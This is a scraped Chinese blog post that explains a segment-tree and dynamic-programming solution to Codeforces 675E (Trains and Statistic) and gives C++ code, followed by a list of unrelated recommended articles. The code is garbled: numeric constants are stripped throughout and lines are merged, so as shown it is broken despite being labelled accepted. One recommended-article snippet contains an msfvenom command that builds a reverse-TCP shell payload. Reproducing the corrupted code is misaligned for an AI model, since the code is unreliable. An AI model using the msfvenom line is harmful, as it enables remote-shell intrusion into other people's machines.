题目传送门

  快速的vjudge通道

  快速的Codeforces通道

题目大意

  有$n$个火车站,第$i$个火车站出售第$i + 1$到第$a_{i}$个火车站的车票,特殊地,第$n$个火车站不出售车票。

  记$\rho_{i, j}$表示从第$i$个火车站出发,到第$j$个火车站最少要购买的车票数。

  求$\sum_{i = 1}^{n - 1}\sum_{j=i + 1}^{n}\rho_{i,j}$。

  对于在$[i + 1, a_{i}]$中的火车站,肯定直接购买一张从$i$出发的火车票,然后就可以到达了。

  对于这个区间之外的呢?那么我们一定会贪心地选择先到达一个火车站$p$,$p$满足$i < p \leqslant a_{i}, a_{p} \geqslant a_{k}( i < k \leqslant a_{i})$。

  考虑在$a_{i}$之后的某个火车站$k$,如果我们想要到达它,经过的路线就是$i \rightarrow p \rightarrow \cdots \rightarrow k$.

  因此$\rho_{i, k} = \rho_{p, k} + 1\ \ \ (k > a_{i})$。

  令$f[i] = \sum_{j = i+1}^{n}\rho_{i, j}$,那么转移的时候区间加一,然后减去多算的一段。

  找$p$可以用线段树。

Code

 /**
* Codeforces
* Problem#675E
* Accepted
* Time: 61ms
* Memory: 7896k
*/
#include <bits/stdc++.h>
#ifndef WIN32
#define Auto "%lld"
#else
#define Auto "%I64d"
#endif
using namespace std;
typedef bool boolean; #define pii pair<int, int>
#define fi first
#define sc second
#define ll long long typedef class SegTreeNode {
public:
pii val;
SegTreeNode *l, *r; SegTreeNode():l(NULL), r(NULL) { } void pushUp() {
val = max(l->val, r->val);
}
}SegTreeNode; SegTreeNode pool[];
SegTreeNode *top = pool; SegTreeNode* newnode() {
return top++;
} typedef class SegTree {
public:
SegTreeNode *rt; void build(SegTreeNode*& p, int l, int r, int* ar) {
p = newnode();
if (l == r) {
p->val = pii(ar[l], l);
return ;
}
int mid = (l + r) >> ;
build(p->l, l, mid, ar);
build(p->r, mid + , r, ar);
p->pushUp();
} pii query(SegTreeNode* p, int l, int r, int ql, int qr) {
if (ql == l && r == qr)
return p->val;
int mid = (l + r) >> ;
if (qr <= mid)
return query(p->l, l, mid, ql, qr);
else if (ql > mid)
return query(p->r, mid + , r, ql, qr);
pii a = query(p->l, l, mid, ql, mid), b = query(p->r, mid + , r, mid + , qr);
return max(a, b);
}
}SegTree; int n;
int *ar;
ll *f;
ll res = ;
SegTree st; inline void init() {
scanf("%d", &n);
ar = new int[(n + )];
f = new ll[(n + )];
for (int i = ; i < n; i++)
scanf("%d", ar + i);
} inline void solve() {
st.build(st.rt, , n, ar);
f[n] = ;
for (int i = n - , j; i; i--) {
j = st.query(st.rt, , n, i + , ar[i]).sc;
f[i] = f[j] + n - i - (ar[i] - j);
res += f[i];
}
printf(Auto"\n", res);
} int main() {
init();
solve();
return ;
}

Codeforces 675E Trains and Statistic - 线段树 - 动态规划的更多相关文章

  1. codeforces 675E Trains and Statistic 线段树+贪心统计

    分析:这个题刚看起来无从下手 但是我们可以先简化问题,首先可以固定起点i,求出i+1到n的最小距离 它可以到达的范围是[i+1,a[i]],贪心的想,我们希望换一次车可以到达的距离尽量远 即:找一个k ...

  2. Codeforces 675E Trains and Statistic(DP + 贪心 + 线段树)

    题目大概说有n(<=10W)个车站,每个车站i卖到车站i+1...a[i]的票,p[i][j]表示从车站i到车站j所需买的最少车票数,求所有的p[i][j](i<j)的和. 好难,不会写. ...

  3. codeforces 675E E. Trains and Statistic(线段树+dp)

    题目链接: E. Trains and Statistic time limit per test 2 seconds memory limit per test 256 megabytes inpu ...

  4. CodeForces 675E Trains and Statistic

    贪心,递推,线段树,$RMQ$. 假设我们记$ans[i]$是以$i$点为起点对答案的贡献,那么答案就是$\sum\limits_{i = 1}^n {ans[i]}$. $ans[i]$怎么计算呢? ...

  5. Codeforces Round #353 (Div. 2) E. Trains and Statistic 线段树+dp

    题目链接: http://www.codeforces.com/contest/675/problem/E 题意: 对于第i个站,它与i+1到a[i]的站有路相连,先在求所有站点i到站点j的最短距离之 ...

  6. codeforces Good bye 2016 E 线段树维护dp区间合并

    codeforces Good bye 2016 E 线段树维护dp区间合并 题目大意:给你一个字符串,范围为‘0’~'9',定义一个ugly的串,即串中的子串不能有2016,但是一定要有2017,问 ...

  7. Codeforces 750E New Year and Old Subsequence - 线段树 - 动态规划

    A string t is called nice if a string "2017" occurs in t as a subsequence but a string &qu ...

  8. codeforces 22E XOR on Segment 线段树

    题目链接: http://codeforces.com/problemset/problem/242/E E. XOR on Segment time limit per test 4 seconds ...

  9. Codeforces 588E. A Simple Task (线段树+计数排序思想)

    题目链接:http://codeforces.com/contest/558/problem/E 题意:有一串字符串,有两个操作:1操作是将l到r的字符串升序排序,0操作是降序排序. 题解:建立26棵 ...

随机推荐

  1. React对比Vue(04 父子组件的通信 )

    跟vue差不多 都是props,但是react里面不仅可以给子组件传值,还可以传方法,MD尽然还可以把自己传给子组件,(卧槽vue可没有这个啊 )  vue的传递值差不多,传方法就不用了,子组件可以掉 ...

  2. unity3d-角色控制器续

    自学是一个坚持和寂寞的过程,写博客更是一个总结与成长的过程,加油! 角色控制器续 之前学习了角色漫游,但里面有很多效果都不是我想要的.只有自己的动手实践了才能理会其中的奥妙.所以我又琢磨了许久. 为了 ...

  3. js判断当前页面是否有父页面,页面部分跳转解决办法,子页面跳转父页面不跳转解决 (原)

    //如果当前页面存在父页面,则当前页面的父页面重新加载(即子页面父页面连带跳转) if(top.location!=self.location){         window.parent.loca ...

  4. rabbitmq坑点与异常处理

    from:http://www.cnblogs.com/gossip/p/4573056.html 一.None of the specified endpoints were reachable 这 ...

  5. WebApi关于配置全局返回Json数据格式时间以及命名小写

    1.直接在Global文件中配置: 1 var formatters = GlobalConfiguration.Configuration.Formatters; 2 var jsonFormatt ...

  6. Unity shader学习之屏幕后期处理效果之均值模糊

    均值模糊,也使用卷积来实现,之不过卷积中每个值均相等,且相加等于1. 代码如下, 子类: using UnityEngine; public class MeanBlurRenderer : Post ...

  7. Msfvenom木马使用及TheFatRat工具

    msfvenom –platform windows -p windows/x64/shell/reverse_tcp LHOST=192.168.168.111 LPORT=3333 EXITFUN ...

  8. Windows10上安装Keras 和 TensorFlow-GPU

    安装环境: Windows 10 64bit GPU: GeForce gt 720 Python: 3.5.3 CUDA: 8 首先下载Anaconda3的Win10 64bit版,安装Python ...

  9. chromedriver 全屏 翻页 错误

    from selenium import webdriver from selenium.common.exceptions import TimeoutException, StaleElement ...

  10. 20155228 实验三 敏捷开发与XP实践

    20155228 实验三 敏捷开发与XP实践 实验内容 1. XP基础 2. XP核心实践 3. 相关工具 实验要求 1.没有Linux基础的同学建议先学习<Linux基础入门(新版)>& ...